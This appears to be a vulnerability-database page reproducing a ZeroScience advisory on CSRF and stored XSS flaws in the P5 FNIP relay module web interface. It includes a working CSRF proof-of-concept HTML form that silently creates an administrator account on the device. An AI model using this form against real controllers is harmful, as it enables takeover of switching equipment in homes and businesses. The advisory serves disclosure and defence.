Lucene search
+L

P5 FNIP-8x16A/FNIP-4xSH CSRF Stored Cross-Site Scripting

🗓️ 21 Apr 2020 00:00:00Reported by Gjoko KrsticType 
zeroscience
 zeroscience
🔗 www.zeroscience.mk👁 103 Views

P5 FNIP CSRF Stored Cross-Site Scripting. Enables remote control of relay module, prone to XSS and CSRF. Impacts Linux and CGI

Related
Code
<!--


P5 FNIP-8x16A/FNIP-4xSH CSRF Stored Cross-Site Scripting


Vendor: P5
Product web page: https://www.p5.hu
Affected version: 1.0.20, 1.0.11

Summary: The FNIP-8x16A is an eight channel relay module used for switching any
type of load that doesn’t exceed the specifications. Via its built-in web site
and TCP/IP communication, the outputs and inputs can be controlled and monitored
from standard network capable devices such as computers, smartphones, web-tablets,
etc. either locally or via the network. The module can be used independently or
as part of a complex control system in residential and commercial installations.

Desc: The controller suffers from CSRF and XSS vulnerabilities. The application
allows users to perform certain actions via HTTP requests without performing any
validity checks to verify the requests. This can be exploited to perform certain
actions with administrative privileges if a logged-in user visits a malicious web
site. Input passed to several GET/POST parameters is not properly sanitised before
being returned to the user. This can be exploited to execute arbitrary HTML and
script code in a user's browser session in context of an affected site.

Tested on: Linux
           CGI


Vulnerabiity discovered by Gjoko 'LiquidWorm' Krstic
                           @zeroscience


Advisory ID: ZSL-2020-5564
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5564.php


29.01.2020

--><!-- CSRF add admin user --><html>
<body>
<form action="http://192.168.1.17:83/user.cgi" method="POST">
<input name="uno" type="hidden" value="1"/> <!-- User number (user1) -->
<input name="un" type="hidden" value="testingus"/> <!-- Username -->
<input name="role" type="hidden" value="2"/> <!-- 2: Admin, 1: Actor, 0: Observer -->
<input name="enabled" type="hidden" value="1"/>
<input name="pw" type="hidden" value="123456"/>
<input name="pw2" type="hidden" value="123456"/>
<input type="submit" value="Zubmit"/>
</form>
</body>
</html>
<!-- CSRF change admin password -->

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Apr 2020 00:00Current
6.1Medium risk
Vulners AI Score6.1
CVSS 3.14.3
CVSS 45.3
EPSS0.00165
SSVC
103